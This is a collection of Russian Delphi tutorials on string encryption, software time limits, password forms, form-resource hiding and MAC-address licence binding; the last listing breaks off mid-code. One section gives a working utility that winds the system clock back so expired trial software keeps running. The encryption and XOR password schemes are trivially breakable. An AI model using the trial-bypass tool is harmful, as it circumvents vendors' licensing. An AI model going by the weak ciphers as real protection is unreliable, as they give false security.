ШИФРОВАНИЕ В DELPHI

Данные надо беречь. Сам посуди, обидно, если открытие ценой в сто миллионов енотов или рецепт безалкогольной водки, над которым ты корпел три вечера в мрачном подвале нелегального компьютерного клуба, — уплывет к злостному ленивому конкуренту, который, пользуясь твоим похмельем, наложил грязную лапу на приватные дискеты с ценнейшей инфой?! Дальше можно не продолжать. Шифруем, шифруем, шифруем!..

Добрый дядюшка Borland предоставил нам несколько занятных функций для работы со строками, о которых не все знают. Сосредоточены они в модуле StrUtils.pas. Такие функции, как RightStr, LeftStr совмещают стандартные команды Copy и Delete: так, LeftStr возвращает значение левой части строки до указанной вами позиции (что вытворяет RightStr, догадайся сам), а функция ReverseString и вовсе делает зеркальное отображение данной строки: 321 вместо 123. Используем ее в особенности, чтобы осложнить жизнь хитрому дешифровщику.
Алгоритм шифрования будет прост, как Win 3.1. С каждым символом кодируемого документа проделаем следующее:

Преобразуем символ в число командой Ord.
Преобразуем каждый символ пользовательского пароля в число и сумму этих чисел прибавим к полученному в пункте 1.
От результата отнимаем число, равное позиции данного символа. То есть буковки будут шифроваться по-разному в зависимости от их позиции в строке :).
То, что получилось, запишем обратно из чисел в символы командой Chr. Как видишь, после всех наших манипуляций этот символ уже будет другим.
Запишем всю строку навыворот командой ReverseString.
Дешифровка, как ты догадываешься, будет производиться в обратном порядке.
Теперь, когда алгоритм намертво засел в голове, реализуем соответствующую программу. Внимание! Не исключено, что это будет первая твоя программа с настоящим синтаксисом команд:
<команда> <путь> <пароль>
— так будет выглядеть он в консоли нашего приложения (да, оно будет консольным!). Команд всего две: crypt и decrypt — соответственно зашифровать и дешифровать файл, путь к которому указывается после пробела, а затем — твой пароль. НЕ ЗАБУДЬ ЕГО! Предупреждаю совершенно серьезно. Запомнил? В бой!

Crypt C:\file.txt linuxmustsurvive

— закодируем File.txt. Результат (зашифрованный текст) сохраниться в той же директории, что и исполняемый файл нашего приложения под именем Translated_File.txt.

Decrypt C:\Translated_file.txt linuxmustsurvive

— дешифровка.
Реализовывается это вот как:


program Crypter;  
  
{$APPTYPE CONSOLE}  
  
uses  
SysUtils,  
StrUtils; //!!  
  
var  
F, //входящий файл  
F1: TextFile; //результат (файл с переводом)  
ToDo, FileName, PassW, Line, TranslatedFile: string;  
position, IsCrypt: integer;  
  
//находим сумму числовых значений символов пароля  
function Password(Psw: string): integer;  
var  
i,res: integer;  
begin  
res:=0;  
for i:=1 to Length(psw) do res:=res+ord(psw[i]);  
result:=res;  
end;  
  
function Crypt(CryptStr: string): string;  
var  
s: string;  
i: integer;  
begin  
if CryptStr<>EmptyStr then  
for i:=1 to Length(CryptStr) do begin  
s:=LeftStr(CryptStr,1);  
CryptStr:=RightStr(CryptStr,Length(CryptStr)-1);  
//ШИФРОВКА:  
s:=chr(ord(s[1])+Password(PassW)-i);  
result:=result+s;  
end;  
result:=ReverseString(result);  
end;  
  
function Decrypt(DecryptStr: String): String;  
var  
i: integer;  
s: String;  
begin  
DecryptStr:=ReverseString(DecryptStr);  
if DecryptStr<>EmptyStr then  
for i:=1 to Length(DeCryptStr) do begin  
s:=LeftStr(DeCryptStr,1);  
DeCryptStr:=RightStr(DeCryptStr,Length(DeCryptStr)-1);  
//ДЕШИФРОВКА:  
result:=result+chr(ord(s[1])-password(PassW)+i);  
end;  
end;  
  
begin  
while true do begin  
isCrypt:=0;  
writeln(#10+'Crypter >'+#10);  
//Какую команду ввел юзер?  
readln(ToDo);  
if UpperCase(ToDo)='EXIT' then Exit;  
if AnsiContainsText(ToDo,'decrypt') then isCrypt:=1  
else if AnsiContainsText(ToDo,'crypt') then isCrypt:=2;  
//прочитав команду, удаляем ее из строки и читаем дальше  
position:=pos(' ',ToDo);  
if position>0 then ToDo:=RightStr(ToDo,Length(ToDo)-position);  
//Читаем путь к файлу  
position:=pos(' ',ToDo);  
if position>0 then FileName:=LeftStr(ToDo,position-1);  
//Читаем пароль  
PassW:=RightStr(ToDo,Length(ToDo)-position);  
//Всё правильно? Начинаем!  
if (isCrypt<=0) or (PassW=EmptyStr) or (not FileExists(FileName)) then writeln('Wrong command')  
else begin  
TranslatedFile:=ExtractFilePath(paramStr(0)) + 'translated_' + ExtractFileName(FileName);  
//соединяемся с файлами  
AssignFile(F, FileName);  
AssignFile(F1, TranslatedFile);  
//переходим в начало файла  
Rewrite(F1);  
Reset(F);  
//читаем строки, пока не дойдем до конца файла  
while not EOF(F) do begin  
//читаем из переводимого файла  
ReadLn(F, Line);  
if isCrypt=1 then Line:=Decrypt(Line);  
if isCrypt=2 then Line:=Crypt(Line);  
//записываем в файл с переводом  
Writeln(F1, Line);  
end;  
//отсоединямся от файлов  
CloseFile(F);  
CloseFile(F1);  
end;  
end;  
end.  

Вот, собственно, и всё. Еще раз напоминаю, что результат (файл с переводом) сохранится В ТОЙ ЖЕ ДИРЕКТОРИИ, что и наше приложение, а не в той, где лежит исходный файл. В заключение процитирую отрывок из статьи «Криптография в C++» в номере 3.03 журнала «Хакер»:

//(с) Николай «GorluM» Андреев
Но я хочу тебя предупредить: в нашей стране, согласно указу № 334 от 1995 года, производить и распространять любые шифрующие средства можно, только имея лицензию ФАПСИ. Соответственно, шифровать нельзя :). Поэтому пиши программы только для личного пользования и только в познавательных целях.

Автор: Трофим Роцкий

Добавлено: 07 Августа 2018 21:31:09 Добавил: Андрей Ковальчук

Как обойти ограничение программ по сроку действия

Некоторые производители программного обеспечения привязывают свой продукт к определенным временным рамкам, в пределах которого программа сохраняет свою работоспособность. При завершении такого периода она либо перестает запускаться, либо продолжает работать с функциональными ограничениями, а ежели это ShareWare, то начинает требовать регистрацию. Мотивация таких мер может быть совершенно различна. Чаще всего это попытка воспрепятствовать нелегальному распространению своей продукции. При этом программа во время инсталляции сохраняет каким-нибудь образом стартовую дату и при каждом запуске сверяет ее с заданным интервалом, в пределах которого она работает в демонстрационном или полнофункциональном режиме.

По ходу работы мне приходится сталкиваться и с другими случаями. Вот, например, последний. Всем известная фирма регулярно выпускает электронный каталог своей продукции с ценами и техническими характеристиками. "Регулярно" потому что цены актуальны только в пределах определенного времени, да и ассортимент время от времени пополняется новыми позициями, а старые снимаются с производства. Каталог этот выпускается каждые полгода, соответственно и "срок годности" у него рассчитан на этот период. Но беда в том, что своевременно обновлять этот каталог не получается. Поэтому приходится продлевать жизнь просроченному. Как правило, сверка даты происходит во время запуска программы. Это самый распространенный случай, обход которого и будет рассмотрен ниже. Я также встречал проверку спустя непродолжительный интервал времени (примерно 30 сек). Все зависит от хитрости разработчиков, они ведь тоже не глупые люди :-). Но даже и с таким вариантом справиться очень легко!


program BackTime; {$APPTYPE CONSOLE}  
  
uses ShellApi,Windows,SysUtils;  
  
var Today:TDateTime;  
    bkTime, bkProgram: String;  
    Interval, j: SmallInt;  
begin  
  Today:=Date; // фиксируем реальную дату  
  if ParamCount<>3  
  then  
   begin // если параметры не заданы то печатаем подсказку  
    WriteLn(output,'BackTime (c)DSKalugin@rambler.ru');  
    WriteLn(output,'---------------------');  
    WriteLn(output,'BackTime.exe T I P');  
    WriteLn(output,'T - Date;');  
    WriteLn(output,'I - Interval, [sec];');  
    WriteLn(output,'P - Program');  
    WriteLn(output,'---------------------');  
    WriteLn(output,'Example:');  
    WriteLn(output,'BackTime.exe 04.01.2000 15  
                                "C:\Program Files\program.exe"');  
   end  
  else  
   begin  
    // 1й параметр - дата  
    bkTime:=ParamStr(1);  
    // 2й параметр - интервал в секундах  
    Interval:=StrToInt(ParamStr(2));  
    // 3й параметр - полный путь к программе  
    bkProgram:=ParamStr(3);  
    // установка необходимой даты  
    WinExec(PChar('cmd /c date '+bkTime), SW_HIDE);  
    // запуск программы  
    ShellExecute(0, 'open', PChar(bkProgram), nil, nil, SW_SHOW);  
    j:=0;  
    while j2<Interval do  
     begin  // задержка в секундах  
      sleep(1000);  
      inc(j);  
     end;  
    // восстанавливаем реальную дату  
    WinExec(PChar('cmd /c date '+DateToStr(Today)), SW_HIDE);  
   end  
end.  

Как видите, все очень просто! Предлагаемая утилита BackTime запускается из командной строки и принимает 3 параметра:

Дата, при которой программа является работоспособной. Формат даты должен соответствовать заданному в системе.
Интервал времени в секундах до восстановления реального времени.
Сама программа. Если в пути присутствуют пробелы, то необходимо параметр взять в двойные кавычки.
Задержка перед восстановлением реальной даты нужна в любом случае. Во-первых программе требуется несколько секунд для полной загрузки. А во-вторых, как сказано выше, некоторые хитрецы делают сверку не сразу.

Как теперь это использовать? На рабочем столе создаем ярлык...

Добавлено: 02 Августа 2018 08:01:05 Добавил: Андрей Ковальчук

К вопросу о защите программ

Часть 1. Прячем формы
Как известно, многие рекомендации по совершенствованию программ, созданных с применением VCL, сводятся к простому указанию – открыть исполняемый модуль очередным Restorator’ом и поправить то или иное место в ресурсе формы или датамодуля. Наличие исходных текстов и какая-никакая документированность потоковой системы VCL привели к тому, что сегодня извлечение в читабельное представление и обратная запись содержимого ресурсов форм не является задачей, посильной только усилиям гуру.

Вместе с тем, путем нехитрых манипуляций с исходными текстами программы можно достаточно легко реализовать защиту ресурсов форм от постороннего просмотра, которая к тому же окажется совершенно прозрачной при последующей разработки.

1. СОЗДАНИЕ ФИЛЬТРА ЧТЕНИЯ ДАННЫХ

Итак, единственное место во всем VCL, где происходит доступ к ресурсу формы – это функция InternalReadComponentRes из Classes, текст которой приведен ниже:


function InternalReadComponentRes(  
    const ResName: string;  
    HInst: THandle;  
    var Instance: TComponent  
): Boolean;  
var  
    HRsrc: THandle;  
begin        { avoid possible EResNotFound exception }  
    if HInst = 0 then HInst := HInstance;  
    HRsrc := FindResource(HInst, PChar(ResName), RT_RCDATA);  
    Result := HRsrc <> 0;  
    if not Result then Exit;  
    with TResourceStream.Create(HInst, ResName, RT_RCDATA) do  
    try  
        Instance := ReadComponent(Instance);  
    finally  
        Free;  
    end;  
    Result := True;  
end;  

Суть ее действий несложна: в модуле, определяемом параметром HInst, ищем ресурс с типом RCDATA и заданным именем. Если не находим, то возвращаем False и на этом успокаиваемся, иначе создаем поток на данных указанного ресурса и читаем из него данные методом ReadComponent.

В таком случае возникает вопрос, что нам мешает вклиниться между созданием потока и чтением из него данных с тем, чтобы перед чтением нужным образом их модифицировать? Собственно, прямых ограничений нет – нам придется лишь выполнить одну условно сомнительную операцию – модифицировать модуль Classes, дополнив его перед implementation следующим текстом:


type  
    TLoadComponentFunc = function (hInst: THandle;  
      const ResName: string;  
      var Instance: TComponent): Boolean;  
  
var  
    LoadComponentFunc: TLoadComponentFunc;

а в implementation мы изменим функцию InternalReadComponentRes следующим образом:


function InternalReadComponentRes(  
      const ResName: string;  
      HInst: THandle;  
      var Instance: TComponent): Boolean;  
var  
    HRsrc: THandle;  
begin        { avoid possible EResNotFound exception }  
    if HInst = 0 then HInst := HInstance;  
    if not Assigned(LoadComponentFunc) then  
    begin  
        HRsrc := FindResource(HInst, PChar(ResName), RT_RCDATA);  
        Result := HRsrc <> 0;  
        if not Result then Exit;  
        with TResourceStream.Create(HInst, ResName, RT_RCDATA) do  
        try  
            Instance := ReadComponent(Instance);  
        finally  
            Free;  
        end;  
        Result := True;  
    end else Result := LoadComponentFunc(HInst, ResName, Instance);  
end;  

Легко увидеть, что TLoadComponentFunc по описанию совпадает с InternalReadComponentRes и вызывается внутри нее, выступая в качестве того самого «клина», о котором мы и говорили выше. Описание TLoadComponentFunc и переменную, содержащую адрес обработчика мы добавляли в самом конце interface-секции Classes с единственной целью – избежать таких изменений в модуле, которые приводили бы к печально известному сообщению (“Unit xxx was compiled with another version of yyy”). Практика свидетельствует, что дописывание каких-либо новых определений в конец существующего модуля никак не влияет на «версионную отметку» вышестоящих описаний (подробнее об этом в другой раз, пока придется поверить на слово).

Таким образом, мы определили функцию-фильтр, которая будет вызываться при каждой попытке доступа к ресурсу формы. Удобной особенностью является то, что при отсутствии фильтра приложение может работать в штатном режиме, т.е. можно спокойно вести разработку и защищать данные от случая к случаю.

Пример модуля, реализующего фильтр, тождественный VCL-ному чтению:


unit DFMLoader;  
  
interface  
  
uses  
Classes; // Classes должны быть измененными!  
  
implementation  
  
uses  
    Windows;  
  
function MyLoadFunc(  
    HInst: THandle;  
    const ResName: string;  
    var Instance: TComponent  
): Boolean;  
begin  
    with TResourceStream.Create(HInst, ResName, RT_RCDATA) do  
    try  
        Instance := ReadComponent(Instance);  
    finally  
        Free;  
    end;  
    Result := True;  
end;  
  
initialization  
    LoadComponentFunc := @MyLoadFunc;  
  
finalization  
    LoadComponentFunc := nil;  
end.  

Обратим внимание на initialization и finalization. Установка фильтра помещена в initialization с тем, чтобы для активизации нашего метода защиты было достаточно просто подключить модуль к проекту. Изъятие фильтра на finalization обусловлено тем, что при использовании пакетов (packages) обращение к фильтру происходит внутри VCLXX.BPL (или RTLXX.bpl в D6), а сам фильтр располагается в другом пакете, который может быть выгружен. Именно поэтому на выходе мы и уберем за собой.

Лирическое отступление: в процессе тестирования описываемой защиты первоначально зануление фильтра отсутствовало, но быстро появилось после эффектного падения IDE на перекомпиляции модуля с защитой ;-) Кстати, IDE могло упасть только после перекомпиляции VCLXX/RTLXX, но о том, как это делалось, тоже не в этот раз.

2. РЕАЛИЗАЦИЯ ФИЛЬТРА

Рассмотрим реализацию простейшего фильтра (фильтры посложнее вы реализуете сами, доверившись своему вкусу) и обработки приложения для его использования. Над байтами оригинального ресурса проделаем следующее – увеличим значение на единицу: операция обратимая и, следовательно, назад это фарш прокрутить можно.

При этом обратим внимание, что начало данных ресурса формы обозначено сигнатурой “TPF0”, а после нашего преобразования там будет “UQG1” (вместо каждого символа сигнатуры мы взяли следующий за ним по таблице ASCII). Мы используем это обстоятельство для решения вопроса о том, каким образом читать ресурс.

Итак, функция чтения ресурса теперь будет выглядеть так:


function MyLoadFunc(  
    HInst: THandle;  
     const ResName: string;  
     var Instance: TComponent  
): Boolean;  
const  
    MySignature: array[0..3] of Char = 'UQG1';  
var  
    I: Integer;  
    HRsrc: THandle;  
    src: TResourceStream;  
    Stream: TMemoryStream;  
begin  
    HRsrc := FindResource(HInst, PChar(ResName), RT_RCDATA);  
    Result := HRsrc <> 0;  
    if not Result then Exit;  
  
    src := TResourceStream.Create(HInst, ResName, RT_RCDATA);  
    try  
        if LongInt(src.Memory^) = LongInt(MySignature) then  
        begin  
            Stream := TMemoryStream.Create;  
            try  
                Stream.LoadFromStream(src);  
                { расшифровываем }  
                for I := 0 to Stream.Size - 1 do  
                    Dec(Byte(PChar(Stream.Memory)[I]));  
                { и загружаем }  
                Instance := Stream.ReadComponent(Instance);  
            finally  
                Stream.Free;  
            end;  
        end else Instance := src.ReadComponent(Instance);  
    finally  
        src.Free;  
    end;  
    Result := True;  
end;  

А для того, чтобы защитить скомпилированный проект, напишем такую же простенькую «защищалку»:


program protect;  
  
{$APPTYPE CONSOLE}  
  
uses  
    Windows, Classes;  
  
const  
    FormSignature: array[0..3] of Char = 'TPF0';  
  
function MyEnumProc(hModule: THandle; lpResType, lpResName: PChar;  
    lParam: LPARAM): BOOL; stdcall;  
var  
    I: Integer;  
    Src: TResourceStream;  
    Dst: TMemoryStream;  
begin  
    if DWORD(lpResName) and $FFFF0000 <> 0 then  
    begin  
        Src := TResourceStream.Create(hModule, lpResName, lpResType);  
        try  
        { удостоверимся, что это именно ресурс формы! }  
            if LongInt(Src.Memory^) = LongInt(FormSignature) then  
            begin  
                Dst := TMemoryStream.Create;  
                try  
                    Dst.LoadFromStream(Src);  
                    Dst.Position := 0;  
  
                    { зашифруем }  
                    for I := 0 to Dst.Size - 1 do  
                    Inc(Byte(PChar(Dst.Memory)[I]));  
  
                    TStrings(lParam).AddObject(lpResName, Dst);  
                except  
                    Dst.Free;  
                    raise;  
                end;  
              
        finally  
            Src.Free;  
        end;  
    end;  
    Result := True;  
end;  
  
procedure GetResNames(const Filename: string; Items: TStrings);  
var  
    hModule: THandle;  
begin  
    hModule := LoadLibraryEx(PChar(Filename), 0, LOAD_LIBRARY_AS_DATAFILE);  
    if hModule <> 0 then  
    try  
        EnumResourceNames(hModule, RT_RCDATA, @MyEnumProc, LPARAM(Items));  
    finally  
        FreeLibrary(hModule);  
    end;  
end;  
  
procedure UpdateResources(const Filename: string; Items: TStrings);  
var  
    I: Integer;  
    Stream: TMemoryStream;  
    hUpdate: THandle;  
begin  
    hUpdate := BeginUpdateResource(PChar(Filename), False);  
    if hUpdate <> 0 then  
    try  
        for I := 0 to Items.Count - 1 do  
        begin  
            Stream := Items.Objects[I] as TMemoryStream;  
            UpdateResource(hUpdate, RT_RCDATA, PChar(Items[I]), 0, Stream.Memory, Stream.Size);  
        end;  
    finally  
        EndUpdateResource(hUpdate, False);  
    end;  
end;  
  
var  
    I: Integer;  
    Items: TStrings;  
begin  
    Items := TStringList.Create;  
    try  
        GetResNames(ParamStr(1), Items);  
        UpdateResources(ParamStr(1), Items);  
    finally  
        { освободим временные буфера }  
        for I := 0 to Items.Count - 1 do  
            Items.Objects[I].Free;  
        Items.Free;  
    end;  
end.  

Что мы здесь делаем: во-первых, загружаем обрабатываемый исполняемый модуль и находим в нем все ресурсы с данными от форм (обращая внимание на то, чтобы это были именно данные форм путем проверки сигнатуры). Преобразованные копии этих ресурсов вместе с именами мы складываем в список.

Затем мы освобождаем модуль и открываем его уже для изменения ресурсов (одновременно произвести два открытия нам не дадут). Т.к. нам известны имена, типы и содержимое обновляемых ресурсов, ничто не мешает нам заменить ресурсы и, запустив программу, убедиться, что все работает. Осмотр же с использованием Restorator’а более не выявляет внутри программы каких-либо форм. Что и требовалось доказать.

3. ЧТО ОСТАЛОСЬ ЗА КАДРОМ

Во-первых, обработка большинства ошибок. Например, отсутствие на диске исходного файла в защищалке. Или более тщательная проверка целостности и корректности информации в шифрованных ресурсах. Для описания концепции приведенной информации вполне достаточно, а при развитии идеи появятся иные места для проверки.

Во-вторых, системная функция обновления ресурсов в файле есть только в WinNT/2K/XP. Однако для целей защиты всегда можно найти машину с указанными ОС или, перелопатив MSDN, написать полностью свое обновление ресурсов.

В-третьих, наше предположение о том, что все операции чтения ресурсов будут проходить именно через наш фильтр, основывается исключительно на анализе исходного кода VCL. Впрочем, кроме VCL никто данные в ресурсы форм и не пишет. Если у вас дело обстоит не так, то уделите внимание вопросу разрешения потенциальных конфликтов.

В-четвертых, диапазон возможностей, которые открываются в описанном подходе, не ограничивается только преобразованием ресурсов. В фильтре вполне возможно реализовать чтение данных через Интернет. Ну или хотя бы преобразовать их через установленный электронный ключ… Или в самом простом случае, упаковать их каким-либо алгоритмом (zLib, к примеру).

4. ЗАКЛЮЧЕНИЕ

Итак, что мы имеем в плюсе: сокрытие ресурсов от постороннего взгляда; больший контроль над процессом загрузки форм; палки, установленные в колеса декомпиляторам; прозрачность защиты – без применения защищалки приложение также будет корректно работать.

Особая изюминка заключается в сложности написания универсальной «открывашки» для ресурсов – даже если для версии N Вашей программы определили алгоритм восстановления ресурсов, в версии N+1 Вы незначительно изменяете алгоритм и делаете бесполезной предыдущий хакерский труд.

Очень удобной является привязка параметров шифрования к коду программы – при попытке подпатчить программу велика вероятность столкнуться с нечитаемостью ресурсов и, очевидно, недоступностью ряда возможностей программы.

А что же в минусе: необходимость модифицировать исходный текст VCL и поддерживать затем эти изменения при переходе к новым версиям или установки UpdatePack’ов, но это и в самом деле не так страшно, как может показаться. Во всяком случае, за те пять лет, что применяется описанный метод, это никогда не составляло серьезной проблемы.

Автор: Евгений Каснерик

Добавлено: 02 Августа 2018 08:00:21 Добавил: Андрей Ковальчук

Учимся ставить ограничения

В этом уроке я покажу вам 2 способа поставить временное ограничение на работу программы.

Способ №1 Более интересный.

Первое что нам нужно сделать это кинуть на форму 2 компонента label с закладки Standart и один компонент timer с закладки system.
Объявляем переменные: для реализации данного способа нам понадобиться две глобальные переменные:

Opentime
Closetime тип у них будет tDateTime
В общем если кто не понял то после ключевого слова var пишем вот такую строчку:


closetime, opentime: tdatetime;  

Идем дальше, теперь создаем обработчик событий на форме OnCreate - для этого просто кликаем на форме 2 раза
между begin end пишем следующий код:


opentime:= time; //Функция time выдает нам время в данный момент  
closetime:= opentime+strtotime('00:00:30');  
//Здесь мы добавляем к времени старта нужное время.  
//В данном случае - в формате чч:мм:сс  
label1.Caption:=timetostr(opentime);  

С формой разобрались, переходим к таймеру также создаем обработчик событий на нем OnTime
Между begin end; пишем:


if time > closetime then //Если текущее время > времени окончания //программы то  
begin  
showmessage('Время работы программы истекло ! '); //Показываем //сообщение  
close; //закрываем программу  
end;  
Label2.Caption:=timetostr(opentime-closetime); // иначе показываем время //до завершения программы  

Вот в принципе и все, осталось только выставить true в свойстве Enabled у таймера.

Способ №2 Более простой.

Кидаем на форму компонент timer с закладки system. Свойство Enabled выставляем на true. Свойство Interval ставим равное 30000 (через 30 сек программа закроется).
Создаем обработчик событий Ontime в нем прописываем следующий код


showmessage('Время работы программы истекло ! ');  
close;  

Вот и все!

Добавлено: 01 Августа 2018 08:32:53 Добавил: Андрей Ковальчук

Защита формы паролем

Раз это вызывает такой интерес, сегодня мы попробуем разобраться с азами такой защиты. Давайте обсудим как мы это будем делать. Логично, что перед запуском формы, которую мы хотим защитить, надо запросить у пользователя пароль (можно конечно и комбинацию имя пользователя - пароль, но мы рассмотрим на примере только пароля) и сравнить введенное значение с каким-то зарезервированным в программе (оно может храниться как в явном виде так и в зашифрованном). Если значения совпадут, то мы откроем необходимую форму, иначе завершим все приложение.

Теперь непосредственно займемся разработкой формы запроса пароля. Хотя разрабатывать нам ничего и не надо: самый простой вариант такой формы Delphi поставляет. Вам надо выбрать пункт меню File -> New, в открывшемся диалоговом окне выберите закладку Dialogs, щелкните на значке Password Dialog и нажмите Ok. На экране появится готовая форма запроса пароля с именем PasswordDlg.

На этой форме будут две кнопки Ok и Cancel, текстовое поле ввода пароля с именем Password, метка Label1 с надписью Enter Password. Заменим свойство Caption метки Label1 на более приятное русскому глазу 'Введите пароль'. Также поменяем свойство Caption и для самой формы на 'Запрос пароля', например.

Обратите внимание на свойство PasswordChar поля ввода Edit равно * (звездочке) - это означает, что при вводе все символы будут заменены на звездочки.

Нам необходимо добиться, чтобы форма запроса пароля появлялась на экран раньше основной формы. Это делается так. В обработчике события OnShow главной формы нужно написать такой код:


PasswordDlg.ShowModal;  

Этот код запустит нашу форму запроса пароля (PasswordDlg) перед основной. И сделает недоступной основную форму, до закрытия формы запроса пароля. Теперь запустите программу, компилятор спросит Вас хотите ли Вы добавить в Uses, модуль второй формы, конечно же надо ответить, что хотите!

Далее поступим следующим образом. Пароль будет хранится в виде константы в нашем приложении. При вводе правильного пароля будет открываться главная форма, а при вводе неправильного пароля, нажатии кнопки Cancel и других попытках закрыть форму запроса будем завершать наше приложение.

Для этого напишем обработчик для события OnCloseQuery для формы запроса. Здесь мы будем сравнивать содержимое строки ввода пароля с нашей константой, которую объявим в этом же обработчике. Таким образом получается такой код:


procedure TPasswordDlg.FormCloseQuery(Sender: TObject;  
var CanClose: Boolean);  
const pass=`велкам`; //наш пароль  
begin  
if Password.Text = pass then CanClose:=true  
else Application.Terminate;  
end;  

Вот мы и реализовали самый простой способ защиты формы. Если хотите сравнивать пароль без учета регистра, то нужно обе строки преобразовать, например, в нижний регистр. Для этого надо поменять всего одну строку:


if Password.Text = pass then CanClose:=true  

надо заменить на:


if lowerCase(Password.Text) = lowerCase(pass) then CanClose:=true 

Теперь попробуем защитить форму паролем, который будет храниться в зашифрованном виде. Зашифруем пароль самым простым способом - Xor. Для этого напишем свою функцию:


function TPasswordDlg.xortext(text:string):string;  
var key, longkey : string;  
i : integer;  
toto: char;  
begin  
key:=`da`; //ключ  
for i := 0 to (length(text) div length(key)) do  
longkey := longkey + key;  
for i := 1 to length(text) do begin  
toto := chr((ord(text[i]) XOR ord(longkey[i])));  
result := result + toto;  
end;  
end; 

Через свое имя функция будет возвращать зашифрованную строку переданную в параметре Text. Не забудьте объявить эту функцию в разделе Public:


public  
{ public declarations }  
function xortext(text:string):string;  

Теперь поменяем обработчик события OnCloseQuery, описанный в первом пример, на такой:


procedure TPasswordDlg.FormCloseQuery(Sender: TObject;  
var CanClose: Boolean);  
var pass:string;  
begin  
pass:=xortext('велкам');  
  
if xortext(Password.Text) = pass then CanClose:=true  
else Application.Terminate;  
end;  

Как Вы видите поменялось совсем не много, теперь пароль в зашифрованном виде можно хранить например в каком-нибудь файле. Так что защищайте Ваши формы :-)

Добавлено: 01 Августа 2018 07:34:56 Добавил: Андрей Ковальчук

Защита программ и данных с использованием электронных ключей

Данный обзор не претендует на правдоподобность так как я (по мнению некоторых) совершенно не разбираюсь в этой теме. Это всего лишь жалкая попытка рассказать то, что я знаю сам. А то что не знаю процитирую из источников или дам ссылки по этой теме, которыми пользовался сам занимаясь этой проблемой.

Как же я пришел к выводу об необходимости использования электронных ключей??? Начнем сначала.Нужно было написать защиту по работе на наш программный продукт, я тогда в этом вопросе разбирался слабо (как и сейчас) и первая мысль было естественно привязать свою программу к какой-нибудь железке. Но сказано сделано, так как программа сетевая, то почему бы не пришить ее к MAC-адресу, вообщем за денек другой сделал я определение этого адреса, зашил (так как ПО специфическое этот подход вроде подходил под задачу). Ну вот один из первых вариантов, что у меня получился (этот код не претендует на реальную защиту, просто на простом примере хочу объяснить, чем привязка хуже, я так же не хочу никого обучать взлому и защите программ, поэтому на все возражения, я лучше соглашусь с тем , что я в этом ничего не понимаю). Вообще если вы пишите защиту, я рекомендую вам обзавестись всем тем инструментарием, что пользуеться крекер взламывая Вашу программу. Например SoftIce , а здесь официальный сайт фирмы NuMega которая произвела сей продукт.


unit MainMAC;  
    interface  
    uses  
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, NB30, ExtCtrls;  
    type  
    TGetMACForm = class(TForm)  
       Timer1: TTimer;  
       Timer2: TTimer;  
       procedure FormCreate(Sender: TObject);  
       procedure Timer1Timer(Sender: TObject);  
       procedure Timer2Timer(Sender: TObject);  
       procedure FormClose(Sender: TObject; var Action: TCloseAction);  
    private  
       { Private declarations }  
        procedure Test;  
    public  
       { Public declarations }  
    end;  
       var  
       GetMACForm: TGetMACForm;  
        i:String;  
        N,NP: ^String;  
        Nl,d:Integer;  
        Ln:TStringList;  
    Const N1='0';  
    Const N2='5';  
    Const N3='2';  
    Const N4='1';  
    Const N5='A';  
    Const N6='B';  
    Const N7='-';  
    Const N8='C';  
    implementation  
       {$R *.DFM}  
    type  
      TNBLanaResources = (lrAlloc, lrFree);  
    type  
      PMACAddress = ^TMACAddress;  
      TMACAddress = array[0..5] of Byte;  
    function GetLanaEnum(LanaEnum: PLanaEnum): Byte;  
     var  
       LanaEnumNCB: PNCB;  
     begin  
       New(LanaEnumNCB);  
       ZeroMemory(LanaEnumNCB, SizeOf(TNCB));  
       try  
        with LanaEnumNCB^ do  
          begin  
          ncb_buffer := PChar(LanaEnum);  
          ncb_length := SizeOf(TLanaEnum);  
          ncb_command := Char(NCBENUM);  
          NetBios(LanaEnumNCB);  
          Result := Byte(ncb_cmd_cplt);  
          end;  
       finally  
          Dispose(LanaEnumNCB);  
          end;  
     end;  
    procedure TGetMACForm.FormCreate(Sender: TObject);  
     var  
       LanaEnum: PLanaEnum;  
       I: Integer;  
     begin  
      New(N);  
      New(Np);  
     N^:=N1+N1+N7+N1+N1+N7+N3+N4+N7+N8+N2+N7+N5+N4+N7+N1+N6 ;  
      Ln := TStringList.Create;  
      New(LanaEnum);  
      ZeroMemory(LanaEnum, SizeOf(TLanaEnum));  
        try  
         if GetLanaEnum(LanaEnum) = NRC_GOODRET then  
           begin  
            with Ln do  
               begin  
               Clear;  
               BeginUpdate;  
               nl:= Byte(LanaEnum.length) - 1;  
               for I := 0 to Byte(LanaEnum.length) - 1 do  
                      Add(IntToStr(Byte(LanaEnum.lana[I])));  
               EndUpdate ;  
               end;  
            end;  
       finally  
         Dispose(LanaEnum);  
        end;  
      Test ;  
     end;  
    function ResetLana(LanaNum, ReqSessions, ReqNames: Byte;  
     LanaRes: TNBLanaResources): Byte;  
     var  
       ResetNCB: PNCB;  
     begin  
      New(ResetNCB);  
      ZeroMemory(ResetNCB, SizeOf(TNCB));  
      try  
       with ResetNCB^ do  
         begin  
         ncb_lana_num := Char(LanaNum); // Set Lana_Num  
         ncb_lsn := Char(LanaRes); // Allocation of new resources  
         ncb_callname[0] := Char(ReqSessions); // Query of max sessions  
         ncb_callname[1] := #0; // Query of max NCBs (default)  
         ncb_callname[2] := Char(ReqNames); // Query of max names  
         ncb_callname[3] := #0; // Query of use NAME_NUMBER_1  
         ncb_command := Char(NCBRESET);  
         NetBios(ResetNCB);  
         Result := Byte(ncb_cmd_cplt);  
         end;  
      finally  
        Dispose(ResetNCB);  
      end;  
     end;  
    function GetMACAddress(LanaNum: Byte; MACAddress: PMACAddress): Byte;  
    var  
      AdapterStatus: PAdapterStatus;  
      StatNCB: PNCB;  
     begin  
      New(StatNCB);  
      ZeroMemory(StatNCB, SizeOf(TNCB));  
      StatNCB.ncb_length := SizeOf(TAdapterStatus) + 255 * SizeOf(TNameBuffer);  
      GetMem(AdapterStatus, StatNCB.ncb_length);  
      try  
        with StatNCB^ do  
         begin  
         ZeroMemory(MACAddress, SizeOf(TMACAddress));  
         ncb_buffer := PChar(AdapterStatus);  
         ncb_callname := '* ' + #0;  
         ncb_lana_num := Char(LanaNum);  
         ncb_command := Char(NCBASTAT);  
         NetBios(StatNCB);  
         Result := Byte(ncb_cmd_cplt);  
         if Result = NRC_GOODRET then  
            MoveMemory(MACAddress, AdapterStatus, SizeOf(TMACAddress));  
         end;  
      finally  
        FreeMem(AdapterStatus);  
        Dispose(StatNCB);  
       end;  
     end;  
    procedure TGetMACForm.Test;  
    var  
      LanaNum: Byte;  
      MACAddress: PMACAddress;  
      RetCode: Byte;  
     begin  
       for d:=0 to nl do  
         begin  
